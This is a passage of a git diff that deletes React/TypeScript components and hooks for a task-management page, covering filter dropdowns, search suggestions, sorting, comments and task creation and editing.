-                        <span className="ml-auto text-xs text-muted-foreground">({taskCounts.completed})</span>
-                    </DropdownMenuItem>
-                </DropdownMenuGroup>
-
-                <DropdownMenuSeparator />
-
-                <DropdownMenuGroup>
-                    <DropdownMenuLabel className="text-xs font-normal text-muted-foreground">
-                        Priority
-                    </DropdownMenuLabel>
-
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        onClick={() => handlePriorityChange('all')}
-                    >
-                        <span>All</span>
-
-                        {filters.priority === 'all' && <CheckIcon className="size-4" />}
-
-                        <span className="ml-auto text-xs text-muted-foreground">({priorityCounts.all})</span>
-                    </DropdownMenuItem>
-
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        onClick={() => handlePriorityChange('high')}
-                    >
-                        <div className="flex items-center">
-                            <Badge
-                                className="mr-2 h-3 border-red-200 bg-red-100 px-1 text-red-800"
-                                styleType="outline-outline"
-                            >
-                                <span className="text-[10px]">High</span>
-                            </Badge>
-
-                            <span>High</span>
-                        </div>
-
-                        {filters.priority === 'high' && <CheckIcon className="size-4" />}
-
-                        <span className="ml-auto text-xs text-muted-foreground">({priorityCounts.high})</span>
-                    </DropdownMenuItem>
-
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        onClick={() => handlePriorityChange('medium')}
-                    >
-                        <div className="flex items-center">
-                            <Badge
-                                className="mr-2 h-3 border-yellow-200 bg-yellow-100 px-1 text-yellow-800"
-                                styleType="outline-outline"
-                            >
-                                <span className="text-[10px]">Med</span>
-                            </Badge>
-
-                            <span>Medium</span>
-                        </div>
-
-                        {filters.priority === 'medium' && <CheckIcon className="size-4" />}
-
-                        <span className="ml-auto text-xs text-muted-foreground">({priorityCounts.medium})</span>
-                    </DropdownMenuItem>
-
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        onClick={() => handlePriorityChange('low')}
-                    >
-                        <div className="flex items-center">
-                            <Badge
-                                className="mr-2 h-3 border-green-200 bg-green-100 px-1 text-green-800"
-                                styleType="outline-outline"
-                            >
-                                <span className="text-[10px]">Low</span>
-                            </Badge>
-
-                            <span>Low</span>
-                        </div>
-
-                        {filters.priority === 'low' && <CheckIcon className="size-4" />}
-
-                        <span className="ml-auto text-xs text-muted-foreground">({priorityCounts.low})</span>
-                    </DropdownMenuItem>
-                </DropdownMenuGroup>
-
-                <DropdownMenuSeparator />
-
-                <DropdownMenuGroup>
-                    <DropdownMenuLabel className="text-xs font-normal text-muted-foreground">
-                        Assignee
-                    </DropdownMenuLabel>
-
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        onClick={() => handleAssigneeChange('all')}
-                    >
-                        <span>All</span>
-
-                        {filters.assignee === 'all' && <CheckIcon className="size-4" />}
-
-                        <span className="ml-auto text-xs text-muted-foreground">({assigneeCounts.all})</span>
-                    </DropdownMenuItem>
-
-                    {assignees.map((assignee) => (
-                        <DropdownMenuItem
-                            className="flex items-center justify-between"
-                            key={assignee}
-                            onClick={() => handleAssigneeChange(assignee)}
-                        >
-                            <div className="flex items-center">
-                                <UserIcon className="mr-2 size-3 text-muted-foreground" />
-
-                                <span className="truncate">{assignee}</span>
-                            </div>
-
-                            {filters.assignee === assignee && <CheckIcon className="size-4" />}
-
-                            <span className="ml-auto text-xs text-muted-foreground">({assigneeCounts[assignee]})</span>
-                        </DropdownMenuItem>
-                    ))}
-                </DropdownMenuGroup>
-
-                <DropdownMenuSeparator />
-
-                <DropdownMenuItem
-                    className="text-primary focus:text-primary"
-                    disabled={!hasActiveFilters}
-                    onClick={handleResetFilters}
-                >
-                    <XIcon className="mr-2 size-4" />
-                    Clear all filters
-                </DropdownMenuItem>
-            </DropdownMenuContent>
-        </DropdownMenu>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/TaskList.tsx b/client/src/pages/automation/tasks/components/TaskList.tsx
deleted file mode 100644
index 3685de71fe8..00000000000
--- a/client/src/pages/automation/tasks/components/TaskList.tsx
+++ /dev/null
@@ -1,109 +0,0 @@
-import Button from '@/components/Button/Button';
-import {ScrollArea} from '@/components/ui/scroll-area';
-import {ListFilterIcon, PlusIcon} from 'lucide-react';
-import {useShallow} from 'zustand/react/shallow';
-
-import {useTasksStore} from '../stores/useTasksStore';
-import TaskActiveFilterBadges from './TaskActiveFilterBadges';
-import TaskCard from './TaskCard';
-import TaskCreateDialog from './TaskCreateDialog';
-import TaskFilters from './TaskFilters';
-import TaskSearch from './TaskSearch';
-import TaskSortMenu from './TaskSortMenu';
-import {useTaskList} from './hooks/useTaskList';
-
-export default function TaskList() {
-    const {hasActiveFilters, searchQuery, selectedTaskId} = useTasksStore(
-        useShallow((state) => ({
-            hasActiveFilters: state.hasActiveFilters(),
-            searchQuery: state.searchQuery,
-            selectedTaskId: state.selectedTaskId,
-        }))
-    );
-
-    const {
-        emptyStateMessage,
-        filteredTasks,
-        handleClearFilters,
-        handleSelectTask,
-        handleSortChange,
-        handleStatusToggle,
-        headerText,
-        sortBy,
-        sortDirection,
-        totalTaskCount,
-    } = useTaskList();
-
-    return (
-        <div className="flex w-96 shrink-0 flex-col border-r border-border bg-background">
-            <div className="shrink-0 border-b border-border p-4">
-                <div className="mb-3 flex items-center justify-between">
-                    <h2 className="text-lg font-semibold text-foreground">{headerText}</h2>
-
-                    <div className="flex items-center gap-1">
-                        <TaskSortMenu onSortChange={handleSortChange} sortBy={sortBy} sortDirection={sortDirection} />
-
-                        <TaskFilters />
-
-                        <TaskCreateDialog
-                            trigger={
-                                <Button
-                                    aria-label="Create new task"
-                                    className="size-6 shrink-0"
-                                    icon={<PlusIcon className="size-4" />}
-                                    size="icon"
-                                    variant="default"
-                                />
-                            }
-                        />
-                    </div>
-                </div>
-
-                <TaskActiveFilterBadges />
-
-                <TaskSearch />
-            </div>
-
-            <ScrollArea className="flex-1">
-                <div className="space-y-2 p-4">
-                    {filteredTasks.length > 0 ? (
-                        filteredTasks.map((task) => (
-                            <TaskCard
-                                isSelected={selectedTaskId === task.id}
-                                key={task.id}
-                                onSelect={() => task.id && handleSelectTask(task.id)}
-                                onStatusToggle={(event) => task.id && handleStatusToggle(task.id, event)}
-                                task={task}
-                            />
-                        ))
-                    ) : (
-                        <div className="flex flex-col items-center justify-center py-12 text-center">
-                            <div className="mb-4 rounded-full bg-muted p-3">
-                                <ListFilterIcon className="size-6 text-muted-foreground" />
-                            </div>
-
-                            <h3 className="mb-1 font-medium text-foreground">No tasks found</h3>
-
-                            <p className="mb-4 text-sm text-muted-foreground">{emptyStateMessage}</p>
-
-                            {(searchQuery || hasActiveFilters) && (
-                                <Button
-                                    label="Clear filters"
-                                    onClick={handleClearFilters}
-                                    size="sm"
-                                    variant="outline"
-                                />
-                            )}
-                        </div>
-                    )}
-                </div>
-            </ScrollArea>
-
-            <div className="flex shrink-0 items-center justify-between border-t border-border bg-muted/30 px-4 py-2 text-xs text-muted-foreground">
-                <span>
-                    {filteredTasks.length} of {totalTaskCount} tasks
-                </span>
-            </div>
-        </div>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/TaskSearch.tsx b/client/src/pages/automation/tasks/components/TaskSearch.tsx
deleted file mode 100644
index 33c7cbd223c..00000000000
--- a/client/src/pages/automation/tasks/components/TaskSearch.tsx
+++ /dev/null
@@ -1,60 +0,0 @@
-import {Input} from '@/components/ui/input';
-import {SearchIcon} from 'lucide-react';
-import {twMerge} from 'tailwind-merge';
-
-import {useTaskSearch} from './hooks/useTaskSearch';
-
-export default function TaskSearch() {
-    const {
-        handleInputFocus,
-        handleKeyDown,
-        handleSearchChange,
-        handleSuggestionClick,
-        searchInputRef,
-        searchQuery,
-        selectedSuggestionIndex,
-        showSuggestions,
-        suggestions,
-    } = useTaskSearch();
-
-    return (
-        <div className="relative">
-            <div className="relative w-full">
-                <SearchIcon className="absolute left-3 top-1/2 z-10 size-4 -translate-y-1/2 text-muted-foreground" />
-
-                <Input
-                    className="px-10"
-                    onChange={(event) => handleSearchChange(event.target.value)}
-                    onFocus={handleInputFocus}
-                    onKeyDown={handleKeyDown}
-                    placeholder="Search tasks..."
-                    ref={searchInputRef}
-                    value={searchQuery}
-                />
-            </div>
-
-            {showSuggestions && suggestions.length > 0 && (
-                <div className="absolute inset-x-0 top-full z-50 mt-1 max-h-48 overflow-y-auto rounded-md border border-border bg-background shadow-lg">
-                    {suggestions.map((suggestion, index) => (
-                        <div
-                            className={twMerge(
-                                'cursor-pointer px-3 py-2 text-sm transition-colors',
-                                index === selectedSuggestionIndex
-                                    ? 'bg-muted text-foreground'
-                                    : 'text-muted-foreground hover:bg-muted/50 hover:text-foreground'
-                            )}
-                            key={suggestion.text}
-                            onClick={() => handleSuggestionClick(suggestion.text)}
-                        >
-                            <div className="flex items-center gap-2">
-                                <SearchIcon className="size-3 shrink-0" />
-
-                                <span className="truncate">{suggestion.highlighted}</span>
-                            </div>
-                        </div>
-                    ))}
-                </div>
-            )}
-        </div>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/TaskSortMenu.tsx b/client/src/pages/automation/tasks/components/TaskSortMenu.tsx
deleted file mode 100644
index 142c7b05f49..00000000000
--- a/client/src/pages/automation/tasks/components/TaskSortMenu.tsx
+++ /dev/null
@@ -1,67 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    DropdownMenu,
-    DropdownMenuContent,
-    DropdownMenuItem,
-    DropdownMenuLabel,
-    DropdownMenuSeparator,
-    DropdownMenuTrigger,
-} from '@/components/ui/dropdown-menu';
-import {ArrowUpDown} from 'lucide-react';
-
-import {useTaskSortMenu} from './hooks/useTaskSortMenu';
-
-import type {SortDirectionType, SortOptionType} from '../types/types';
-
-interface TaskSortMenuProps {
-    sortBy: SortOptionType;
-    sortDirection: SortDirectionType;
-    onSortChange: (sortBy: SortOptionType, direction: SortDirectionType) => void;
-}
-
-const SORT_OPTIONS = [
-    {label: 'Created Date', value: 'created'},
-    {label: 'Title', value: 'title'},
-    {label: 'Priority', value: 'priority'},
-    {label: 'Status', value: 'status'},
-    {label: 'Assignee', value: 'assignee'},
-    {label: 'Due Date', value: 'dueDate'},
-] as const;
-
-export default function TaskSortMenu({onSortChange, sortBy, sortDirection}: TaskSortMenuProps) {
-    const {handleSortOptionClick} = useTaskSortMenu({onSortChange, sortBy, sortDirection});
-
-    return (
-        <DropdownMenu>
-            <DropdownMenuTrigger asChild>
-                <Button
-                    aria-label="Sort options"
-                    className="size-6 shrink-0"
-                    icon={<ArrowUpDown className="size-4" />}
-                    size="icon"
-                    variant="ghost"
-                />
-            </DropdownMenuTrigger>
-
-            <DropdownMenuContent align="end" className="w-48">
-                <DropdownMenuLabel>Sort by</DropdownMenuLabel>
-
-                <DropdownMenuSeparator />
-
-                {SORT_OPTIONS.map((option) => (
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        key={option.value}
-                        onClick={() => handleSortOptionClick(option.value)}
-                    >
-                        <span>{option.label}</span>
-
-                        {sortBy === option.value && (
-                            <span className="text-xs">{sortDirection === 'asc' ? '↑' : '↓'}</span>
-                        )}
-                    </DropdownMenuItem>
-                ))}
-            </DropdownMenuContent>
-        </DropdownMenu>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/hooks/useTaskActiveFilterBadges.ts b/client/src/pages/automation/tasks/components/hooks/useTaskActiveFilterBadges.ts
deleted file mode 100644
index 0c52083215a..00000000000
--- a/client/src/pages/automation/tasks/components/hooks/useTaskActiveFilterBadges.ts
+++ /dev/null
@@ -1,51 +0,0 @@
-import {useCallback} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-import {useTasksStore} from '../../stores/useTasksStore';
-
-import type {FiltersI} from '../../types/types';
-
-export interface UseTaskActiveFilterBadgesReturnI {
-    filters: FiltersI;
-    handleClearAssigneeFilter: () => void;
-    handleClearPriorityFilter: () => void;
-    handleClearStatusFilter: () => void;
-    handleResetFilters: () => void;
-    hasActiveFilters: boolean;
-}
-
-export function useTaskActiveFilterBadges(): UseTaskActiveFilterBadgesReturnI {
-    const {filters, hasActiveFilters, resetFilters, setFilters} = useTasksStore(
-        useShallow((state) => ({
-            filters: state.filters,
-            hasActiveFilters: state.hasActiveFilters(),
-            resetFilters: state.resetFilters,
-            setFilters: state.setFilters,
-        }))
-    );
-
-    const handleClearStatusFilter = useCallback(() => {
-        setFilters((prevFilters) => ({...prevFilters, status: 'all'}));
-    }, [setFilters]);
-
-    const handleClearPriorityFilter = useCallback(() => {
-        setFilters((prevFilters) => ({...prevFilters, priority: 'all'}));
-    }, [setFilters]);
-
-    const handleClearAssigneeFilter = useCallback(() => {
-        setFilters((prevFilters) => ({...prevFilters, assignee: 'all'}));
-    }, [setFilters]);
-
-    const handleResetFilters = useCallback(() => {
-        resetFilters();
-    }, [resetFilters]);
-
-    return {
-        filters,
-        handleClearAssigneeFilter,
-        handleClearPriorityFilter,
-        handleClearStatusFilter,
-        handleResetFilters,
-        hasActiveFilters,
-    };
-}
diff --git a/client/src/pages/automation/tasks/components/hooks/useTaskComments.ts b/client/src/pages/automation/tasks/components/hooks/useTaskComments.ts
deleted file mode 100644
index 866f96f88bc..00000000000
--- a/client/src/pages/automation/tasks/components/hooks/useTaskComments.ts
+++ /dev/null
@@ -1,61 +0,0 @@
-import {useCallback, useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-import {useTasksStore} from '../../stores/useTasksStore';
-import {getCurrentTimestamp} from '../../utils/task-utils';
-
-import type {TaskCommentI} from '../../types/types';
-
-export interface UseTaskCommentsReturnI {
-    canSubmit: boolean;
-    handleCommentChange: (value: string) => void;
-    handleSubmitComment: () => void;
-    newComment: string;
-}
-
-export function useTaskComments(): UseTaskCommentsReturnI {
-    const [newComment, setNewComment] = useState('');
-
-    const {addComment, selectedTaskId, tasks} = useTasksStore(
-        useShallow((state) => ({
-            addComment: state.addComment,
-            selectedTaskId: state.selectedTaskId,
-            tasks: state.tasks,
-        }))
-    );
-
-    const generateCommentId = useCallback(() => {
-        const allComments = tasks.flatMap((task) => task.comments);
-        const maxId = Math.max(...allComments.map((comment) => Number.parseInt(comment.id.replace('c', ''))), 0);
-
-        return `c${maxId + 1}`;
-    }, [tasks]);
-
-    const handleCommentChange = useCallback((value: string) => {
-        setNewComment(value);
-    }, []);
-
-    const handleSubmitComment = useCallback(() => {
-        if (!newComment.trim() || !selectedTaskId) {
-            return;
-        }
-
-        const comment: TaskCommentI = {
-            author: 'Current User',
-            content: newComment.trim(),
-            id: generateCommentId(),
-            timestamp: getCurrentTimestamp(),
-        };
-
-        addComment(selectedTaskId, comment);
-
-        setNewComment('');
-    }, [newComment, selectedTaskId, generateCommentId, addComment]);
-
-    return {
-        canSubmit: newComment.trim().length > 0,
-        handleCommentChange,
-        handleSubmitComment,
-        newComment,
-    };
-}
diff --git a/client/src/pages/automation/tasks/components/hooks/useTaskCreateDialog.ts b/client/src/pages/automation/tasks/components/hooks/useTaskCreateDialog.ts
deleted file mode 100644
index 4fbd765865a..00000000000
--- a/client/src/pages/automation/tasks/components/hooks/useTaskCreateDialog.ts
+++ /dev/null
@@ -1,148 +0,0 @@
-import {useCreateTaskMutation, useUsersQuery} from '@/shared/middleware/graphql';
-import {useCallback, useMemo, useState} from 'react';
-
-import {useTasksStore} from '../../stores/useTasksStore';
-import {getAvailableAssignees} from '../../utils/task-utils';
-
-import type {NewTaskFormI, TaskI} from '../../types/types';
-
-const INITIAL_FORM_STATE: NewTaskFormI = {
-    assignee: '',
-    dependencies: [],
-    description: '',
-    dueDate: '',
-    priority: 'medium',
-    status: 'open',
-    templateId: 'none',
-    title: '',
-};
-
-const getCurrentDate = (): string => {
-    return new Date().toISOString().split('T')[0];
-};
-
-export interface UseTaskCreateDialogReturnI {
-    availableAssignees: string[];
-    errors: Partial<NewTaskFormI>;
-    form: NewTaskFormI;
-    handleCloseDialog: () => void;
-    handleFormChange: (field: keyof NewTaskFormI, value: string | string[]) => void;
-    handleOpenChange: (open: boolean) => void;
-    handleOpenDialog: () => void;
-    handleSubmit: () => void;
-    isOpen: boolean;
-}
-
-export function useTaskCreateDialog(): UseTaskCreateDialogReturnI {
-    const [isOpen, setIsOpen] = useState(false);
-    const [form, setForm] = useState<NewTaskFormI>(INITIAL_FORM_STATE);
-    const [errors, setErrors] = useState<Partial<NewTaskFormI>>({});
-
-    const addTask = useTasksStore((state) => state.addTask);
-
-    const {data: usersData} = useUsersQuery();
-
-    const availableAssignees = useMemo(() => getAvailableAssignees(usersData?.users?.content), [usersData]);
-
-    const createTaskMutation = useCreateTaskMutation({
-        onError: (error) => {
-            console.error('Error creating task:', error);
-        },
-    });
-
-    const handleOpenDialog = useCallback(() => {
-        setIsOpen(true);
-    }, []);
-
-    const handleCloseDialog = useCallback(() => {
-        setForm(INITIAL_FORM_STATE);
-        setErrors({});
-        setIsOpen(false);
-    }, []);
-
-    const handleOpenChange = useCallback(
-        (open: boolean) => {
-            if (open) {
-                handleOpenDialog();
-            } else {
-                handleCloseDialog();
-            }
-        },
-        [handleOpenDialog, handleCloseDialog]
-    );
-
-    const handleFormChange = useCallback((field: keyof NewTaskFormI, value: string | string[]) => {
-        setForm((previousForm) => ({
-            ...previousForm,
-            [field]: value,
-        }));
-
-        setErrors((previousErrors) => {
-            const updatedErrors = {...previousErrors};
-
-            delete updatedErrors[field];
-
-            return updatedErrors;
-        });
-    }, []);
-
-    const isFormValid = useCallback((): boolean => {
-        const validationErrors: Partial<NewTaskFormI> = {};
-
-        if (!form.title.trim()) {
-            validationErrors.title = 'Title is required';
-        }
-
-        if (!form.description.trim()) {
-            validationErrors.description = 'Description is required';
-        }
-
-        if (!form.assignee.trim()) {
-            validationErrors.assignee = 'Assignee is required';
-        }
-
-        setErrors(validationErrors);
-
-        return Object.keys(validationErrors).length === 0;
-    }, [form]);
-
-    const handleSubmit = useCallback(() => {
-        if (isFormValid()) {
-            const newTask: TaskI = {
-                assignee: form.assignee,
-                attachments: [],
-                comments: [],
-                createdAt: getCurrentDate(),
-                dependencies: form.dependencies,
-                description: form.description,
-                dueDate: form.dueDate || undefined,
-                priority: form.priority,
-                status: form.status,
-                title: form.title,
-            };
-
-            addTask(newTask);
-
-            createTaskMutation.mutate({
-                task: {
-                    description: form.description,
-                    name: form.title,
-                },
-            });
-
-            handleCloseDialog();
-        }
-    }, [form, isFormValid, addTask, createTaskMutation, handleCloseDialog]);
-
-    return {
-        availableAssignees,
-        errors,
-        form,
-        handleCloseDialog,
-        handleFormChange,
-        handleOpenChange,
-        handleOpenDialog,
-        handleSubmit,
-        isOpen,
-    };
-}
diff --git a/client/src/pages/automation/tasks/components/hooks/useTaskDetail.tsx b/client/src/pages/automation/tasks/components/hooks/useTaskDetail.tsx
deleted file mode 100644
index 971d7b6cab0..00000000000
--- a/client/src/pages/automation/tasks/components/hooks/useTaskDetail.tsx
+++ /dev/null
@@ -1,113 +0,0 @@
-import {useUpdateTaskMutation, useUsersQuery} from '@/shared/middleware/graphql';
-import {useCallback, useMemo, useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-import {useTasksStore} from '../../stores/useTasksStore';
-import {TaskI} from '../../types/types';
-import {formatDate, getAvailableAssignees, getPriorityColor, getStatusIcon} from '../../utils/task-utils';
-
-import type {ReactNode} from 'react';
-
-export interface UseTaskDetailReturnI {
-    allTasks: TaskI[];
-    availableAssignees: string[];
-    createdAtFormatted: string;
-    displayTask: TaskI | null;
-    handleCancel: () => void;
-    handleEdit: () => void;
-    handleFieldChange: (field: keyof TaskI, value: string | string[]) => void;
-    handleSave: () => void;
-    isEditing: boolean;
-    priorityColor: string;
-    statusIcon: ReactNode;
-    task: TaskI | null;
-}
-
-export function useTaskDetail(): UseTaskDetailReturnI {
-    const [isEditing, setIsEditing] = useState(false);
-    const [editingTask, setEditingTask] = useState<TaskI | null>(null);
-
-    const {selectedTask, tasks, updateTask} = useTasksStore(
-        useShallow((state) => ({
-            selectedTask: state.getSelectedTask(),
-            tasks: state.tasks,
-            updateTask: state.updateTask,
-        }))
-    );
-
-    const {data: usersData} = useUsersQuery();
-
-    const availableAssignees = useMemo(() => getAvailableAssignees(usersData?.users?.content), [usersData]);
-
-    const displayTask = isEditing ? editingTask : selectedTask;
-
-    const createdAtFormatted = useMemo(() => (displayTask ? formatDate(displayTask.createdAt) : ''), [displayTask]);
-
-    const priorityColor = useMemo(() => (displayTask ? getPriorityColor(displayTask.priority) : ''), [displayTask]);
-
-    const statusIcon = useMemo(() => (displayTask ? getStatusIcon(displayTask.status) : null), [displayTask]);
-
-    const updateTaskMutation = useUpdateTaskMutation({
-        onError: (error) => {
-            console.error('Error updating task:', error);
-        },
-    });
-
-    const handleEditTask = useCallback(() => {
-        if (selectedTask) {
-            setEditingTask({...selectedTask});
-            setIsEditing(true);
-        }
-    }, [selectedTask]);
-
-    const handleSaveTask = useCallback(() => {
-        if (editingTask) {
-            updateTask(editingTask);
-
-            updateTaskMutation.mutate({
-                task: {
-                    description: editingTask.description,
-                    id: editingTask.id,
-                    name: editingTask.title,
-                    version: editingTask.version,
-                },
-            });
-
-            setIsEditing(false);
-            setEditingTask(null);
-        }
-    }, [editingTask, updateTask, updateTaskMutation]);
-
-    const handleCancelEdit = useCallback(() => {
-        setIsEditing(false);
-        setEditingTask(null);
-    }, []);
-
-    const handleTaskFieldChange = useCallback((field: keyof TaskI, value: string | string[]) => {
-        setEditingTask((prevTask) => {
-            if (prevTask) {
-                return {
-                    ...prevTask,
-                    [field]: value,
-                };
-            }
-
-            return prevTask;
-        });
-    }, []);
-
-    return {
-        allTasks: tasks,
-        availableAssignees,
-        createdAtFormatted,
-        displayTask,
-        handleCancel: handleCancelEdit,
-        handleEdit: handleEditTask,
-        handleFieldChange: handleTaskFieldChange,
-        handleSave: handleSaveTask,
-        isEditing,
-        priorityColor,
-        statusIcon,
-        task: selectedTask,
-    };
-}
diff --git a/client/src/pages/automation/tasks/components/hooks/useTaskFilters.ts b/client/src/pages/automation/tasks/components/hooks/useTaskFilters.ts
deleted file mode 100644
index 2f12c15f28e..00000000000
--- a/client/src/pages/automation/tasks/components/hooks/useTaskFilters.ts
+++ /dev/null
@@ -1,103 +0,0 @@
-import {useCallback, useMemo} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-import {useTasksStore} from '../../stores/useTasksStore';
-
-import type {FiltersI, PriorityCountsI, TaskCountsI} from '../../types/types';
-
-export interface UseTaskFiltersReturnI {
-    assigneeCounts: Record<string, number>;
-    assignees: string[];
-    filters: FiltersI;
-    handleAssigneeChange: (assignee: FiltersI['assignee']) => void;
-    handlePriorityChange: (priority: FiltersI['priority']) => void;
-    handleResetFilters: () => void;
-    handleStatusChange: (status: FiltersI['status']) => void;
-    hasActiveFilters: boolean;
-    priorityCounts: PriorityCountsI;
-    taskCounts: TaskCountsI;
-}
-
-export function useTaskFilters(): UseTaskFiltersReturnI {
-    const {filters, resetFilters, setFilters, tasks} = useTasksStore(
-        useShallow((state) => ({
-            filters: state.filters,
-            resetFilters: state.resetFilters,
-            setFilters: state.setFilters,
-            tasks: state.tasks,
-        }))
-    );
-
-    const hasActiveFilters = filters.status !== 'all' || filters.priority !== 'all' || filters.assignee !== 'all';
-
-    const taskCounts = useMemo(
-        (): TaskCountsI => ({
-            all: tasks.length,
-            completed: tasks.filter((task) => task.status === 'completed').length,
-            'in-progress': tasks.filter((task) => task.status === 'in-progress').length,
-            open: tasks.filter((task) => task.status === 'open').length,
-        }),
-        [tasks]
-    );
-
-    const priorityCounts = useMemo(
-        (): PriorityCountsI => ({
-            all: tasks.length,
-            high: tasks.filter((task) => task.priority === 'high').length,
-            low: tasks.filter((task) => task.priority === 'low').length,
-            medium: tasks.filter((task) => task.priority === 'medium').length,
-        }),
-        [tasks]
-    );
-
-    const {assigneeCounts, assignees} = useMemo(() => {
-        const uniqueAssignees = [...new Set(tasks.map((task) => task.assignee))];
-        const counts: Record<string, number> = {
-            all: tasks.length,
-        };
-
-        uniqueAssignees.forEach((assignee) => {
-            counts[assignee] = tasks.filter((task) => task.assignee === assignee).length;
-        });
-
-        return {assigneeCounts: counts, assignees: uniqueAssignees};
-    }, [tasks]);
-
-    const handleStatusChange = useCallback(
-        (status: FiltersI['status']) => {
-            setFilters({...filters, status});
-        },
-        [filters, setFilters]
-    );
-
-    const handlePriorityChange = useCallback(
-        (priority: FiltersI['priority']) => {
-            setFilters({...filters, priority});
-        },
-        [filters, setFilters]
-    );
-
-    const handleAssigneeChange = useCallback(
-        (assignee: FiltersI['assignee']) => {
-            setFilters({...filters, assignee});
-        },
-        [filters, setFilters]
-    );
-
-    const handleResetFilters = useCallback(() => {
-        resetFilters();
-    }, [resetFilters]);
-
-    return {
-        assigneeCounts,
-        assignees,
-        filters,
-        handleAssigneeChange,
-        handlePriorityChange,
-        handleResetFilters,
-        handleStatusChange,
-        hasActiveFilters,
-        priorityCounts,
-        taskCounts,
-    };
-}
diff --git a/client/src/pages/automation/tasks/components/hooks/useTaskList.tsx b/client/src/pages/automation/tasks/components/hooks/useTaskList.tsx
deleted file mode 100644
index 7300667207f..00000000000
--- a/client/src/pages/automation/tasks/components/hooks/useTaskList.tsx
+++ /dev/null
@@ -1,117 +0,0 @@
-import {MouseEvent, useCallback, useMemo, useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-import {useTasksStore} from '../../stores/useTasksStore';
-import {getHeaderText, sortTasks} from '../../utils/task-utils';
-
-import type {SortDirectionType, SortOptionType, TaskI} from '../../types/types';
-
-export interface UseTaskListReturnI {
-    emptyStateMessage: string;
-    filteredTasks: TaskI[];
-    handleClearFilters: () => void;
-    handleSelectTask: (taskId: string) => void;
-    handleSortChange: (sortBy: SortOptionType, direction: SortDirectionType) => void;
-    handleStatusToggle: (taskId: string, event: MouseEvent) => void;
-    headerText: string;
-    sortBy: SortOptionType;
-    sortDirection: SortDirectionType;
-    totalTaskCount: number;
-}
-
-export function useTaskList(): UseTaskListReturnI {
-    const [sortBy, setSortBy] = useState<SortOptionType>('created');
-    const [sortDirection, setSortDirection] = useState<SortDirectionType>('desc');
-
-    const {
-        cycleTaskStatus,
-        filters,
-        hasActiveFilters,
-        resetFilters,
-        searchQuery,
-        setSearchQuery,
-        setSelectedTaskId,
-        tasks,
-    } = useTasksStore(
-        useShallow((state) => ({
-            cycleTaskStatus: state.cycleTaskStatus,
-            filters: state.filters,
-            hasActiveFilters: state.hasActiveFilters(),
-            resetFilters: state.resetFilters,
-            searchQuery: state.searchQuery,
-            setSearchQuery: state.setSearchQuery,
-            setSelectedTaskId: state.setSelectedTaskId,
-            tasks: state.tasks,
-        }))
-    );
-
-    const filteredTasks = useMemo(() => {
-        const filtered = tasks.filter((task) => {
-            const matchesSearch =
-                task.title.toLowerCase().includes(searchQuery.toLowerCase()) ||
-                task.description.toLowerCase().includes(searchQuery.toLowerCase()) ||
-                task.assignee.toLowerCase().includes(searchQuery.toLowerCase());
-
-            const matchesStatus = filters.status === 'all' || task.status === filters.status;
-            const matchesPriority = filters.priority === 'all' || task.priority === filters.priority;
-            const matchesAssignee = filters.assignee === 'all' || task.assignee === filters.assignee;
-
-            return matchesSearch && matchesStatus && matchesPriority && matchesAssignee;
-        });
-
-        return sortTasks(filtered, sortBy, sortDirection);
-    }, [tasks, searchQuery, filters, sortBy, sortDirection]);
-
-    const emptyStateMessage = useMemo(() => {
-        if (searchQuery) {
-            return `No tasks match "${searchQuery}"`;
-        }
-
-        if (hasActiveFilters) {
-            return 'No tasks match the current filters';
-        }
-
-        return 'You will see here tasks assigned to you';
-    }, [searchQuery, hasActiveFilters]);
-
-    const headerText = getHeaderText(filters);
-
-    const handleClearFilters = useCallback(() => {
-        setSearchQuery('');
-        resetFilters();
-    }, [setSearchQuery, resetFilters]);
-
-    const handleSelectTask = useCallback(
-        (taskId: string) => {
-            setSelectedTaskId(taskId);
-        },
-        [setSelectedTaskId]
-    );
-
-    const handleSortChange = useCallback((newSortBy: SortOptionType, direction: SortDirectionType) => {
-        setSortBy(newSortBy);
-        setSortDirection(direction);
-    }, []);
-
-    const handleStatusToggle = useCallback(
-        (taskId: string, event: MouseEvent) => {
-            event.stopPropagation();
-
-            cycleTaskStatus(taskId);
-        },
-        [cycleTaskStatus]
-    );
-
-    return {
-        emptyStateMessage,
-        filteredTasks,
-        handleClearFilters,
-        handleSelectTask,
-        handleSortChange,
-        handleStatusToggle,
-        headerText,
-        sortBy,
-        sortDirection,
-        totalTaskCount: tasks.length,
-    };
-}
diff --git a/client/src/pages/automation/tasks/components/hooks/useTaskSearch.ts b/client/src/pages/automation/tasks/components/hooks/useTaskSearch.ts
deleted file mode 100644
index 8a169652ded..00000000000
--- a/client/src/pages/automation/tasks/components/hooks/useTaskSearch.ts
+++ /dev/null
@@ -1,162 +0,0 @@
-import {KeyboardEvent, useCallback, useEffect, useMemo, useRef, useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-import {useTasksStore} from '../../stores/useTasksStore';
-import {highlightText} from '../../utils/task-utils';
-
-import type {ReactNode, RefObject} from 'react';
-
-export interface SuggestionI {
-    highlighted: ReactNode;
-    text: string;
-}
-
-export interface UseTaskSearchReturnI {
-    handleInputFocus: () => void;
-    handleKeyDown: (event: KeyboardEvent) => void;
-    handleSearchChange: (value: string) => void;
-    handleSuggestionClick: (suggestion: string) => void;
-    searchInputRef: RefObject<HTMLInputElement>;
-    searchQuery: string;
-    selectedSuggestionIndex: number;
-    showSuggestions: boolean;
-    suggestions: SuggestionI[];
-}
-
-export function useTaskSearch(): UseTaskSearchReturnI {
-    const [showSuggestions, setShowSuggestions] = useState(false);
-    const [selectedSuggestionIndex, setSelectedSuggestionIndex] = useState(-1);
-
-    const searchInputRef = useRef<HTMLInputElement>(null);
-
-    const {filters, searchQuery, setSearchQuery, tasks} = useTasksStore(
